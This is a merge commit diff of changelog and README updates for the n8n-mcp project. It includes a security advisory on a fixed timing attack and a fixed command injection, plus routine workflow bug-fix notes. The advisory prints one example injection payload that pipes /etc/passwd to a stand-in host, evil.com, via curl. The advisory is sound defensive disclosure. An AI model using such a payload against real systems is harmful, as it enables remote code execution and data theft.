Merge pull request #279 from czlonkowski/security/issue-265-pr1-critical-timing-and-injection

🔒 CRITICAL Security Fixes: Timing Attack & Command Injection (Issue #265)

CHANGELOG.md

@@ -5,6 +5,598 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [2.16.2] - 2025-10-06
+
+### 🔒 Security
+
+**CRITICAL security fixes for production deployments. All users should upgrade immediately.**
+
+This release addresses 2 critical security vulnerabilities identified in the security audit (Issue #265):
+
+- **🚨 CRITICAL-02: Timing Attack Vulnerability**
+  - **Issue:** Non-constant-time string comparison in authentication allowed timing attacks
+  - **Impact:** Authentication tokens could be discovered character-by-character through statistical timing analysis (estimated 24-48 hours to compromise)
+  - **Attack Vector:** Repeated authentication attempts with carefully crafted tokens while measuring response times
+  - **Fix:** Implemented `crypto.timingSafeEqual` for all token comparisons
+  - **Locations Fixed:**
+    - `src/utils/auth.ts:27` - validateToken method
+    - `src/http-server-single-session.ts:1087` - Single-session HTTP auth
+    - `src/http-server.ts:315` - Fixed HTTP server auth
+  - **New Method:** `AuthManager.timingSafeCompare()` - constant-time token comparison utility
+  - **Verification:** 11 unit tests with timing variance analysis (<10% variance proven)
+  - **CVSS:** 8.5 (High) - Confirmed critical, requires authentication but trivially exploitable
+  - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+
+- **🚨 CRITICAL-01: Command Injection Vulnerability**
+  - **Issue:** User-controlled `nodeType` parameter injected into shell commands via `execSync`
+  - **Impact:** Remote code execution, data exfiltration, network scanning possible
+  - **Attack Vector:** Malicious nodeType like `test"; curl http://evil.com/$(cat /etc/passwd | base64) #`
+  - **Vulnerable Code (FIXED):** `src/utils/enhanced-documentation-fetcher.ts:567-590`
+  - **Fix:** Eliminated all shell execution, replaced with Node.js fs APIs
+    - Replaced `execSync()` with `fs.readdir()` (recursive, no shell)
+    - Added multi-layer input sanitization: `/[^a-zA-Z0-9._-]/g`
+    - Added directory traversal protection (blocks `..`, `/`, relative paths)
+    - Added `path.basename()` for additional safety
+    - Added final path verification (ensures result within expected directory)
+  - **Benefits:**
+    - ✅ 100% immune to command injection (no shell execution)
+    - ✅ Cross-platform compatible (no dependency on `find`/`grep`)
+    - ✅ Faster (no process spawning overhead)
+    - ✅ Better error handling and logging
+  - **Verification:** 9 integration tests covering all attack vectors
+  - **CVSS:** 8.8 (High) - Requires MCP access but trivially exploitable
+  - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
+
+### Added
+
+- **Security Test Suite**
+  - Unit Tests: `tests/unit/utils/auth-timing-safe.test.ts` (11 tests)
+    - Timing variance analysis (proves <10% variance = constant-time)
+    - Edge cases: null, undefined, empty, very long tokens (10000 chars)
+    - Special characters, Unicode, whitespace handling
+    - Case sensitivity verification
+  - Integration Tests: `tests/integration/security/command-injection-prevention.test.ts` (9 tests)
+    - Command injection with all vectors (semicolon, &&, |, backticks, $(), newlines)
+    - Directory traversal prevention (parent dir, URL-encoded, absolute paths)
+    - Special character sanitization
+    - Null byte handling
+    - Legitimate operations (ensures fix doesn't break functionality)
+
+### Changed
+
+- **Authentication:** All token comparisons now use timing-safe algorithm
+- **Documentation Fetcher:** Now uses Node.js fs APIs instead of shell commands
+- **Security Posture:** Production-ready with hardened authentication and input validation
+
+### Technical Details
+
+**Timing-Safe Comparison Implementation:**
+```typescript
+// NEW: Constant-time comparison utility
+static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
+  try {
+    if (!plainToken || !expectedToken) return false;
+
+    const plainBuffer = Buffer.from(plainToken, 'utf8');
+    const expectedBuffer = Buffer.from(expectedToken, 'utf8');
+
+    if (plainBuffer.length !== expectedBuffer.length) return false;
+
+    // Uses crypto.timingSafeEqual for constant-time comparison
+    return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
+  } catch {
+    return false;
+  }
+}
+
+// USAGE: Replace token !== this.authToken with:
+const isValidToken = this.authToken &&
+  AuthManager.timingSafeCompare(token, this.authToken);
+```
+
+**Command Injection Fix:**
+```typescript
+// BEFORE (VULNERABLE):
+execSync(`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md"...`)
+
+// AFTER (SECURE):
+const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
+if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
+  logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
+  return null;
+}
+const safeName = path.basename(sanitized);
+const files = await fs.readdir(searchPath, { recursive: true });
+const match = files.find(f => f.endsWith(`${safeName}.md`) && !f.includes('credentials'));
+```
+
+### Breaking Changes
+
+**None** - All changes are backward compatible. No API changes, no environment variable changes, no database migrations.
+
+### Migration Guide
+
+**No action required** - This is a drop-in security fix. Simply upgrade:
+
+```bash
+npm install n8n-mcp@2.16.2
+# or
+npm update n8n-mcp
+```
+
+### Deployment Notes
+
+**Recommended Actions:**
+1. ✅ **Upgrade immediately** - These are critical security fixes
+2. ✅ **Review logs** - Check for any suspicious authentication attempts or unusual nodeType parameters
+3. ✅ **Rotate tokens** - Consider rotating AUTH_TOKEN after upgrade (optional but recommended)
+
+**No configuration changes needed** - The fixes are transparent to existing deployments.
+
+### Test Results
+
+**All Tests Passing:**
+- Unit tests: 11/11 ✅ (timing-safe comparison)
+- Integration tests: 9/9 ✅ (command injection prevention)
+- Timing variance: <10% ✅ (proves constant-time)
+- All existing tests: ✅ (no regressions)
+
+**Security Verification:**
+- ✅ No command execution with malicious inputs
+- ✅ Timing attack variance <10% (statistical analysis over 1000 samples)
+- ✅ Directory traversal blocked (parent dir, absolute paths, URL-encoded)
+- ✅ All special characters sanitized safely
+
+### Audit Trail
+
+**Security Audit:** Issue #265 - Third-party security audit identified 25 issues
+**This Release:** Fixes 2 CRITICAL issues (CRITICAL-01, CRITICAL-02)
+**Remaining Work:** 20 issues to be addressed in subsequent releases (HIGH, MEDIUM, LOW priority)
+
+### References
+
+- Security Audit: https://github.com/czlonkowski/n8n-mcp/issues/265
+- Implementation Plan: `docs/local/security-implementation-plan-issue-265.md`
+- Audit Analysis: `docs/local/security-audit-analysis-issue-265.md`
+
+---
+
+## [2.16.1] - 2025-10-06
+
+### Fixed
+
+- **🐛 Issue #277: Missing Signal Handlers in stdio Mode**
+  - **Problem**: Node.js processes remained orphaned when Claude Desktop quit
+  - **Platform**: Primarily affects Windows 11, but improves reliability on all platforms
+  - **Root Cause**: stdio mode never registered SIGTERM/SIGINT signal handlers
+  - **Impact**: Users had to manually kill processes via Task Manager after quitting Claude Desktop
+  - **Fix**: Added comprehensive graceful shutdown handlers for stdio mode
+    - SIGTERM, SIGINT, and SIGHUP signal handlers
+    - stdin end/close event handlers (PRIMARY shutdown mechanism for Claude Desktop)
+    - Robust container detection: Checks IS_DOCKER/IS_CONTAINER env vars + filesystem markers
+    - Supports Docker, Kubernetes, Podman, and other container runtimes
+    - Container mode: Signal handlers only (prevents detached mode premature shutdown)
+    - Claude Desktop mode: stdin + signal handlers (comprehensive coverage)
+    - Race condition protection with `isShuttingDown` guard
+    - stdin cleanup with null safety (pause + destroy)
+    - Graceful shutdown timeout (1000ms) to allow cleanup to complete
+    - Error handling with try-catch for stdin registration and shutdown
+    - Shutdown trigger logging for debugging (SIGTERM vs stdin close)
+    - Production-hardened based on comprehensive code review
+  - **Location**: `src/mcp/index.ts:91-132`
+  - **Resources Cleaned**: Cache timers and database connections properly closed via existing `shutdown()` method
+  - **Code Review**: Approved with recommendations implemented
+  - **Reporter**: @Eddy-Chahed
+
+## [2.16.0] - 2025-10-06
+
+### Added
+
+- **🎉 Issue #272 Phase 1: Connection Operations UX Improvements**
+
+  **New: `rewireConnection` Operation**
+  - Intuitive operation for changing connection target from one node to another
+  - Syntax: `{type: "rewireConnection", source: "Node", from: "OldTarget", to: "NewTarget"}`
+  - Internally uses remove + add pattern but with clearer semantics
+  - Supports smart parameters (branch, case) for multi-output nodes
+  - Validates all nodes exist before making changes
+  - 8 comprehensive unit tests covering all scenarios
+
+  **New: Smart Parameters for Multi-Output Nodes**
+  - **branch parameter for IF nodes**: Use `branch: "true"` or `branch: "false"` instead of `sourceIndex: 0/1`
+  - **case parameter for Switch nodes**: Use `case: 0`, `case: 1`, etc. instead of `sourceIndex`
+  - Semantic, intuitive syntax that matches node behavior
+  - Explicit sourceIndex overrides smart parameters if both provided
+  - Works with both `addConnection` and `rewireConnection` operations
+  - 8 comprehensive unit tests + 11 integration tests against real n8n API
+
+### Changed
+
+- **⚠️ BREAKING: Removed `updateConnection` operation**
+  - Operation removed completely (type definition, implementation, validation, tests)
+  - Migration: Use `rewireConnection` or `removeConnection` + `addConnection` instead
+  - Reason: Confusing operation that was error-prone and rarely needed
+  - All tests updated (137 tests passing)
+
+### Fixed
+
+- **🐛 CRITICAL: Issue #275, #136 - TypeError in getNodeTypeAlternatives (57.4% of production errors)**
+  - **Impact**: Eliminated 323 out of 563 production errors, helping 127 users (76.5% of affected users)
+  - **Resolves Issue #136**: "Partial Workflow Updates fail with 'Cannot convert undefined or null to object'" - defensive type guards prevent these crashes
+  - **Root Cause**: `getNodeTypeAlternatives()` called string methods without validating nodeType parameter
+  - **Fix**: Added defense-in-depth protection:
+    - **Layer 1**: Type guard in `getNodeTypeAlternatives()` returns empty array for invalid inputs
+    - **Layer 2**: Enhanced `validateToolParamsBasic()` to catch empty strings
+  - **Affected Tools**: `get_node_essentials` (208 errors → 0), `get_node_info` (115 errors → 0), `get_node_documentation` (17 errors → 0)
+  - **Testing**: 21 comprehensive unit tests, verified with n8n-mcp-tester agent
+  - **Commit**: f139d38
+
+- **Critical Bug: Smart Parameter Implementation**
+  - **Bug #1**: `branch` parameter initially mapped to `sourceOutput` instead of `sourceIndex`
+  - **Impact**: IF node connections went to wrong output (expected `IF.main[0]`, got `IF.true`)
+  - **Root Cause**: Misunderstood n8n's IF node connection structure
+  - **Fix**: Changed to correctly map `branch="true"` → `sourceIndex=0`, `branch="false"` → `sourceIndex=1`
+  - **Discovered by**: n8n-mcp-tester agent testing against real n8n API
+  - **Commit**: a7bfa73
+
+- **Critical Bug: Zod Schema Stripping Parameters**
+  - **Bug #2**: `branch`, `case`, `from`, `to` parameters stripped by Zod validation
+  - **Impact**: Parameters never reached diff engine, smart parameters silently failed
+  - **Root Cause**: Parameters not defined in Zod schema in handlers-workflow-diff.ts
+  - **Fix**: Added missing parameters to schema
+  - **Discovered by**: n8n-mcp-tester agent
+  - **Commit**: aeaba3b
+
+- **🔥 CRITICAL Bug: Array Index Corruption in Multi-Output Nodes**
+  - **Bug #3**: `applyRemoveConnection()` filtered empty arrays, causing index shifting in multi-output nodes
+  - **Impact**: PRODUCTION-BREAKING for Switch, IF with multiple handlers, Merge nodes
+  - **Severity**: Connections routed to wrong outputs after rewiring
+  - **Example**: Switch with 4 outputs `[[H0], [H1], [H2], [H3]]` → remove H1 → `[[H0], [H2], [H3]]` (indices shifted!)
+  - **Root Cause**: Line 697 filtered empty arrays: `connections.filter(conns => conns.length > 0)`
+  - **Fix**: Only remove trailing empty arrays, preserve intermediate ones to maintain index integrity
+  - **Code Change**:
+    ```typescript
+    // Before (BUGGY):
+    workflow.connections[node][output] = connections.filter(conns => conns.length > 0);
+
+    // After (FIXED):
+    while (connections.length > 0 && connections[connections.length - 1].length === 0) {
+      connections.pop();
+    }
+    ```
+  - **Testing**: Added integration test verifying Switch node rewiring preserves all indices
+  - **Discovered by**: n8n-mcp-tester agent during comprehensive testing
+  - **Commit**: aeb7410
+
+- **TypeScript Compilation**: Added missing type annotations in workflow diff tests (Commit: 653f395)
+
+### Improved
+
+- **Integration Testing**: Created comprehensive integration tests against real n8n API
+  - 11 tests covering IF nodes, Switch nodes, and rewireConnection
+  - Tests validate actual n8n workflow structure, not in-memory objects
+  - Would have caught both smart parameter bugs that unit tests missed
+  - File: `tests/integration/n8n-api/workflows/smart-parameters.test.ts`
+  - **Commit**: 34bafe2
+
+- **Documentation**: Updated MCP tool documentation
+  - Removed `updateConnection` references
+  - Added `rewireConnection` with 4 examples
+  - Added smart parameters section with IF and Switch examples
+  - Updated best practices and pitfalls
+  - Removed version references (AI agents see current state)
+  - Files: `src/mcp/tool-docs/workflow_management/n8n-update-partial-workflow.ts`, `docs/workflow-diff-examples.md`
+  - **Commit**: f78f53e
+
+### Test Coverage
+
+- **Total Tests**: 178 tests passing (158 unit + 20 integration against real n8n API)
+- **Coverage**: 90.98% statements, 89.86% branches, 93.02% functions
+- **Quality**: Integration tests against real n8n API prevent regression
+- **New Tests**:
+  - 21 tests for TypeError prevention (Issue #275)
+  - 8 tests for rewireConnection operation
+  - 8 tests for smart parameters
+  - 20 integration tests against real n8n API:
+    - **Multi-output nodes (sourceIndex preservation)**:
+      - Switch node rewiring with index preservation
+      - IF node empty array preservation on removal
+      - Switch node removing first case (production-breaking bug scenario)
+      - Sequential operations on Switch node
+      - Filter node connection rewiring
+    - **Multi-input nodes (targetIndex preservation)**:
+      - Merge node removing connection to input 0
+      - Merge node removing middle connection (inputs 0, 2 preserved)
+      - Merge node replacing source connections
+      - Merge node sequential operations
+
+### Technical Details
+
+**TypeError Prevention (Issue #275):**
+```typescript
+// Layer 1: Defensive utility function
+export function getNodeTypeAlternatives(nodeType: string): string[] {
+  // Return empty array for invalid inputs instead of crashing
+  if (!nodeType || typeof nodeType !== 'string' || nodeType.trim() === '') {
+    return [];
+  }
+  // ... rest of function
+}
+
+// Layer 2: Enhanced validation
+if (param === '') {
+  errors.push(`String parameters cannot be empty. Parameter '${key}' has value: ""`);
+}
+```
+
+**Smart Parameters Resolution:**
+```typescript
+// Resolve branch parameter for IF nodes
+if (operation.branch !== undefined && operation.sourceIndex === undefined) {
+  if (sourceNode?.type === 'n8n-nodes-base.if') {
+    sourceIndex = operation.branch === 'true' ? 0 : 1;
+    // sourceOutput remains 'main'
+  }
+}
+
+// Resolve case parameter for Switch nodes
+if (operation.case !== undefined && operation.sourceIndex === undefined) {
+  sourceIndex = operation.case;
+}
+```
+
+**Real n8n IF Node Structure:**
+```json
+"IF": {
+  "main": [
+    [/* true branch connections, index 0 */],
+    [/* false branch connections, index 1 */]
+  ]
+}
+```
+
+### Migration Guide
+
+**Before (v2.15.7):**
+```typescript
+// Old way: updateConnection (REMOVED)
+{type: "updateConnection", source: "Webhook", target: "Handler", updates: {...}}
+
+// Old way: Multi-output nodes (still works)
+{type: "addConnection", source: "IF", target: "Success", sourceIndex: 0}
+```
+
+**After (v2.16.0):**
+```typescript
+// New way: rewireConnection
+{type: "rewireConnection", source: "Webhook", from: "OldHandler", to: "NewHandler"}
+
+// New way: Smart parameters (recommended)
+{type: "addConnection", source: "IF", target: "Success", branch: "true"}
+{type: "addConnection", source: "IF", target: "Error", branch: "false"}
+{type: "addConnection", source: "Switch", target: "Handler", case: 0}
+```
+
+### Impact Summary
+
+**Production Error Reduction:**
+- Issue #275 fix: -323 errors (-57.4% of total production errors)
+- Helps 127 users (76.5% of users experiencing errors)
+
+**UX Improvements:**
+- Semantic parameters make multi-output node connections intuitive
+- `rewireConnection` provides clear intent for connection changes
+- Integration tests ensure production reliability
+
+**Breaking Changes:**
+- `updateConnection` removed (use `rewireConnection` or manual remove+add)
+
+### References
+
+- **Issue #272**: Connection operations improvements (Phase 0 + Phase 1)
+- **Issue #204**: Differential update failures on Windows
+- **Issue #275**: TypeError in getNodeTypeAlternatives
+- **Issue #136**: Partial Workflow Updates fail with "Cannot convert undefined or null to object" (resolved by defensive type guards)
+- **Commits**:
+  - Phase 0: cfe3c5e, 653f395, 2a85000
+  - Phase 1: f9194ee, ee125c5, a7bfa73, aeaba3b, 34bafe2, c6e0e52, f78f53e
+  - Issue #275/#136: f139d38
+
+## [2.15.7] - 2025-10-05
+
+### Fixed
+
+- **🐛 CRITICAL: Issue #272, #204 - Connection Operations Phase 0 Fixes**
+
+  **Bug #1: Multi-Output Node Routing Broken**
+  - **Problem**: `addConnection` ignored `sourceIndex` parameter due to `||` operator treating `0` as falsy
+  - **Impact**: IF nodes, Switch nodes, and all conditional routing completely broken
+  - **Root Cause**: Used `operation.sourceIndex || 0` instead of `operation.sourceIndex ?? 0`
+  - **Fix**: Changed to nullish coalescing (`??`) operator to properly handle explicit `0` values
+  - **Added**: Defensive array validation before index access
+  - **Result**: Multi-output nodes now work reliably (rating improved 3/10 → 9/10)
+  - **Test Coverage**: 6 comprehensive tests covering IF nodes, Switch nodes, and parallel execution
+
+  **Bug #2: Server Crashes from Missing `updates` Object**
+  - **Problem**: `updateConnection` without `updates` object caused server crash with "Cannot read properties of undefined"
+  - **Impact**: Malformed requests from AI agents crashed the MCP server
+  - **Fix**: Added runtime validation with comprehensive error message
+  - **Error Message Quality**:
+    - Shows what was provided (JSON.stringify of operation)
+    - Explains what's wrong and why
+    - Provides correct format with example
+    - Suggests alternative approach (removeConnection + addConnection)
+  - **Result**: No crashes, self-service troubleshooting enabled (rating improved 2/10 → 8/10)
+  - **Test Coverage**: 2 tests for missing and invalid `updates` object
+
+### Improved
+
+- **Connection Operations Overall Experience**: 4.5/10 → 8.5/10 (+89% improvement)
+- **Error Handling**: Helpful, actionable error messages instead of cryptic crashes
+- **Documentation**: Updated tool docs with Phase 0 fix notes and new pitfall warnings
+- **Developer Experience**: Better use of nullish coalescing, defensive programming patterns
+
+### Test Coverage
+
+- Total Tests: 126/126 passing (100%)
+- New Tests: 8 comprehensive tests for Phase 0 fixes
+- Coverage: 91.16% statements, 88.14% branches, 92.85% functions
+- Test Quality: All edge cases covered, strong assertions, independent test isolation
+
+### Technical Details
+
+**Multi-Output Node Fix:**
+```typescript
+// Before (BROKEN):
+const sourceIndex = operation.sourceIndex || 0;  // 0 treated as falsy!
+
+// After (FIXED):
+const sourceIndex = operation.sourceIndex ?? 0;  // explicit 0 preserved
+```
+
+**Runtime Validation Fix:**
+```typescript
+// Added comprehensive validation:
+if (!operation.updates || typeof operation.updates !== 'object') {
+  throw new Error(/* helpful 15-line error message */);
+}
+```
+
+### References
+
+- Issue #272: Connection operations failing (Polish language issue report)
+- Issue #204: Differential update failures on Windows
+- Analysis Document: `docs/local/connection-operations-deep-dive-and-improvement-plan.md` (2176 lines)
+- Testing: Hands-on validation with n8n-mcp-tester agent
+- Code Review: Comprehensive review against improvement plan
+
+### Phase 1 Roadmap
+
+Phase 0 addressed critical bugs. Future Phase 1 improvements planned:
+- Add `rewireConnection` operation for intuitive connection rewiring
+- Add smart parameters (`branch` for IF nodes, `case` for Switch nodes)
+- Enhanced error messages with spell-checking
+- Deprecation path for `updateConnection`
+
+## [2.15.6] - 2025-10-05
+
+### Fixed
+- **Issue #269: Missing addNode Examples** - Added comprehensive examples for addNode operation in MCP tool documentation
+  - Problem: Claude AI didn't know how to use addNode operation correctly due to zero examples in documentation
+  - Solution: Added 4 progressive examples to `n8n_update_partial_workflow` tool documentation:
+    1. Basic addNode (minimal configuration)
+    2. Complete addNode (full parameters including typeVersion)
+    3. addNode + addConnection combo (most common pattern)
+    4. Batch operation (multiple nodes + connections)
+  - Impact: AI assistants can now correctly use addNode without errors or trial-and-error
+
+- **Issue #270: Apostrophes in Node Names** - Fixed workflow diff operations failing when node names contain special characters
+  - Root Cause: `findNode()` method used exact string matching without normalization, causing escaped vs unescaped character mismatches
+  - Example: Default Manual Trigger node name "When clicking 'Execute workflow'" failed when JSON-RPC sent escaped version "When clicking \\'Execute workflow\\'"
+  - Solution: Added `normalizeNodeName()` helper that unescapes special characters (quotes, backslashes) and normalizes whitespace
+  - Affected Operations: 8 operations fixed - addConnection, removeConnection, updateConnection, removeNode, updateNode, moveNode, enableNode, disableNode
+  - Error Messages: Enhanced all validation methods with `formatNodeNotFoundError()` helper showing available nodes and suggesting node IDs for special characters
+  - Duplicate Prevention: Fixed `validateAddNode()` to use normalization when checking for duplicate node names
+
+### Changed
+- **WorkflowDiffEngine String Normalization** - Enhanced to handle edge cases from code review
+  - Regex Processing Order: Fixed critical bug - now processes backslashes BEFORE quotes (prevents multiply-escaped character failures)
+  - Whitespace Handling: Comprehensive normalization of tabs, newlines, and mixed whitespace (prevents collision edge cases)
+  - Documentation: Added detailed JSDoc warnings about normalization collision risks with examples
+  - Best Practice: Documentation recommends using node IDs over names for special characters
+
+### Technical Details
+- **Normalization Algorithm**: 4-step process
+  1. Trim leading/trailing whitespace
+  2. Unescape backslashes (MUST be first!)
+  3. Unescape single and double quotes
+  4. Normalize all whitespace to single spaces
+- **Error Message Format**: Now shows node IDs (first 8 chars) and suggests using IDs for special characters
+- **Collision Prevention**: Duplicate checking uses same normalization to prevent subtle bugs
+
+### Test Coverage
+- Unit tests: 120/120 passing (up from 116)
+- New test scenarios:
+  - Tabs in node names
+  - Newlines in node names
+  - Mixed whitespace (tabs + newlines + spaces)
+  - Escaped vs unescaped matching (core Issue #270 scenario)
+- Coverage: 90.11% statements (up from 90.05%)
+
+### Code Review
+- All 6 MUST FIX and SHOULD FIX recommendations implemented:
+  - ✅ Fixed regex processing order (critical bug)
+  - ✅ Added comprehensive whitespace tests
+  - ✅ Fixed duplicate checking normalization
+  - ✅ Enhanced all 6 validation method error messages
+  - ✅ Added comprehensive JSDoc documentation
+  - ✅ Added escaped vs unescaped test case
+- Final review: APPROVED FOR MERGE (production-ready)
+
+### Impact
+- **Workflow Operations**: All 8 affected operations now handle special characters correctly
+- **User Experience**: Clear error messages with actionable suggestions
+- **Reliability**: Comprehensive normalization prevents subtle bugs
+- **Documentation**: Tool documentation updated to reflect fix (v2.15.6+)
+
+## [2.15.5] - 2025-10-04
+
+### Added
+- **Phase 5 Integration Tests** - Comprehensive workflow management tests (16 scenarios)
+  - `delete-workflow.test.ts`: 3 test scenarios
+    - Successful deletion
+    - Error handling for non-existent workflows
+    - Cleanup verification (workflow actually deleted from n8n)
+  - `list-workflows.test.ts`: 13 test scenarios
+    - No filters (all workflows)
+    - Filter by active status (true/false)
+    - Pagination (first page, cursor, last page)
+    - Limit variations (1, 50, 100)
+    - Exclude pinned data
+    - Empty results handling
+    - Sort order consistency verification
+
+### Fixed
+- **handleDeleteWorkflow** - Now returns deleted workflow data in response
+  - Before: Returned only success message
+  - After: Returns deleted workflow object per n8n API specification
+  - Impact: MCP tool consumers can access deleted workflow data for confirmation, logging, or undo operations
+
+- **handleListWorkflows Tags Filter** - Fixed tags parameter format for n8n API compliance
+  - Before: Sent tags as array `?tags[]=tag1&tags[]=tag2` (non-functional)
+  - After: Converts to comma-separated string `?tags=tag1,tag2` per n8n OpenAPI spec
+  - Impact: Tags filtering now works correctly when listing workflows
+  - Implementation: `input.tags.join(',')` conversion in handler
+
+- **N8nApiClient.deleteWorkflow** - Return type now matches n8n API specification
+  - Before: `Promise<void>`
+  - After: `Promise<Workflow>` (returns deleted workflow object)
+  - Impact: Aligns with n8n API behavior where DELETE returns the deleted resource
+
+### Changed
+- **WorkflowListParams.tags** - Type changed for API compliance
+  - Before: `tags?: string[] | null` (incorrect)
+  - After: `tags?: string | null` (comma-separated string per n8n OpenAPI spec)
+  - Impact: Type safety now matches actual API behavior
+
+### Technical Details
+- **API Compliance**: All fixes align with n8n OpenAPI specification
+- **Backward Compatibility**: Handler maintains existing MCP tool interface (array input converted internally)
+- **Type Safety**: TypeScript types now accurately reflect n8n API contracts
+
+### Test Coverage
+- Integration tests: 71/71 passing (Phase 1-5 complete)
+- Total test scenarios across all phases: 87
+- New coverage:
+  - Workflow deletion: 3 scenarios
+  - Workflow listing with filters: 13 scenarios
+
+### Impact
+- **DELETE workflows**: Now returns workflow data for verification
+- **List with tags**: Tag filtering now functional (was broken before)
+- **API alignment**: Implementation correctly matches n8n OpenAPI specification
+- **Test reliability**: All integration tests passing in CI
+
 ## [2.15.4] - 2025-10-04
 
 ### Fixed

README.md

@@ -4,7 +4,7 @@
 [![GitHub stars](https://img.shields.io/github/stars/czlonkowski/n8n-mcp?style=social)](https://github.com/czlonkowski/n8n-mcp)
 [![npm version](https://img.shields.io/npm/v/n8n-mcp.svg)](https://www.npmjs.com/package/n8n-mcp)
 [![codecov](https://codecov.io/gh/czlonkowski/n8n-mcp/graph/badge.svg?token=YOUR_TOKEN)](https://codecov.io/gh/czlonkowski/n8n-mcp)
-[![Tests](https://img.shields.io/badge/tests-2883%20passing-brightgreen.svg)](https://github.com/czlonkowski/n8n-mcp/actions)
+[![Tests](https://img.shields.io/badge/tests-3336%20passing-brightgreen.svg)](https://github.com/czlonkowski/n8n-mcp/actions)
 [![n8n version](https://img.shields.io/badge/n8n-^1.113.3-orange.svg)](https://github.com/n8n-io/n8n)
 [![Docker](https://img.shields.io/badge/docker-ghcr.io%2Fczlonkowski%2Fn8n--mcp-green.svg)](https://github.com/czlonkowski/n8n-mcp/pkgs/container/n8n-mcp)
 [![Deploy on Railway](https://railway.com/button.svg)](https://railway.com/deploy/n8n-mcp?referralCode=n8n-mcp)
@@ -399,7 +399,7 @@ Complete guide for integrating n8n-MCP with Codex.
 
 For the best results when using n8n-MCP with Claude Projects, use these enhanced system instructions:
 
-```markdown
+````markdown
 You are an expert in n8n automation software using n8n-MCP tools. Your role is to design, build, and validate n8n workflows with maximum accuracy and efficiency.
 
 ## Core Principles
@@ -485,7 +485,7 @@ ALWAYS explicitly configure ALL parameters that control node behavior.
 
 ### ⚠️ Never Trust Defaults
 Default values cause runtime failures. Example:
-```javascript
+```json
 // ❌ FAILS at runtime
 {resource: "message", operation: "post", text: "Hello"}
 
@@ -543,7 +543,7 @@ Changes validated successfully.
 Use `n8n_update_partial_workflow` with multiple operations in a single call:
 
 ✅ GOOD - Batch multiple operations:
-```javascript
+```json
 n8n_update_partial_workflow({
   id: "wf-123",
   operations: [
@@ -555,7 +555,7 @@ n8n_update_partial_workflow({
 ```
 
 ❌ BAD - Separate calls:
-```javascript
+```json
 n8n_update_partial_workflow({id: "wf-123", operations: [{...}]})
 n8n_update_partial_workflow({id: "wf-123", operations: [{...}]})
 ```
@@ -564,7 +564,7 @@ n8n_update_partial_workflow({id: "wf-123", operations: [{...}]})
 
 ### Template-First Approach
 
-```javascript
+```
 // STEP 1: Template Discovery (parallel execution)
 [Silent execution]
 search_templates_by_metadata({
@@ -587,7 +587,7 @@ Validation: ✅ All checks passed"
 
 ### Building from Scratch (if no template)
 
-```javascript
+```
 // STEP 1: Discovery (parallel execution)
 [Silent execution]
 search_nodes({query: 'slack', includeExamples: true})
@@ -618,7 +618,7 @@ Validation: ✅ Passed"
 
 ### Batch Updates
 
-```javascript
+```json
 // ONE call with multiple operations
 n8n_update_partial_workflow({
   id: "wf-123",
@@ -652,7 +652,7 @@ n8n_update_partial_workflow({
 - **Avoid when possible** - Prefer standard nodes
 - **Only when necessary** - Use code node as last resort
 - **AI tool capability** - ANY node can be an AI tool (not just marked ones)
-```
+````
 
 Save these instructions in your Claude Project for optimal n8n workflow assistance with intelligent template discovery.
 
@@ -938,22 +938,24 @@ npm run test:bench          # Performance benchmarks
 
 ### Testing Architecture
 
-- **Unit Tests**: Isolated component testing with mocks
-  - Services layer: ~450 tests
-  - Parsers: ~200 tests
-  - Database repositories: ~100 tests
-  - MCP tools: ~180 tests
+**Total: 3,336 tests** across unit and integration test suites
 
-- **Integration Tests**: Full system behavior validation
-  - MCP Protocol compliance: 72 tests
-  - Database operations: 89 tests
-  - Error handling: 44 tests
-  - Performance: 44 tests
+- **Unit Tests** (2,766 tests): Isolated component testing with mocks
+  - Services layer: Enhanced validation, property filtering, workflow validation
+  - Parsers: Node parsing, property extraction, documentation mapping
+  - Database: Repositories, adapters, migrations, FTS5 search
+  - MCP tools: Tool definitions, documentation system
+  - HTTP server: Multi-tenant support, security, configuration
 
-- **Benchmarks**: Performance testing for critical paths
-  - Database queries
-  - Node loading
-  - Search operations
+- **Integration Tests** (570 tests): Full system behavior validation
+  - **n8n API Integration** (172 tests): All 18 MCP handler tools tested against real n8n instance
+    - Workflow management: Create, read, update, delete, list, validate, autofix
+    - Execution management: Trigger, retrieve, list, delete
+    - System tools: Health check, tool listing, diagnostics
+  - **MCP Protocol** (119 tests): Protocol compliance, session management, error handling
+  - **Database** (226 tests): Repository operations, transactions, performance, FTS5 search
+  - **Templates** (35 tests): Template fetching, storage, metadata operations
+  - **Docker** (18 tests): Configuration, entrypoint, security validation
 
 For detailed testing documentation, see [Testing Architecture](./docs/testing-architecture.md).
 

docs/CHANGELOG.md

@@ -5,6 +5,56 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [Unreleased] - Phase 0: Connection Operations Critical Fixes
+
+### Fixed
+- **🐛 CRITICAL: Fixed `addConnection` sourceIndex handling (Issue #272, discovered in hands-on testing)**
+  - Multi-output nodes (IF, Switch) now work correctly with sourceIndex parameter
+  - Changed from `||` to `??` operator to properly handle explicit 0 values
+  - Added defensive array validation before accessing indices
+  - Improves rating from 3/10 to 8/10 for multi-output node scenarios
+  - **Impact**: IF nodes, Switch nodes, and all conditional routing now reliable
+
+- **🐛 CRITICAL: Added runtime validation for `updateConnection` (Issue #272, #204)**
+  - Prevents server crashes when `updates` object is missing
+  - Provides helpful error message with:
+    - Clear explanation of what's wrong
+    - Correct format example
+    - Suggestion to use removeConnection + addConnection for rewiring
+  - Validates `updates` is an object, not string or other type
+  - **Impact**: No more cryptic "Cannot read properties of undefined" crashes
+
+### Enhanced
+- **Error Messages**: `updateConnection` errors now include actionable guidance
+  - Example format shown in error
+  - Alternative approaches suggested (removeConnection + addConnection)
+  - Clear explanation that updateConnection modifies properties, not targets
+
+### Testing
+- Added 8 comprehensive tests for Phase 0 fixes
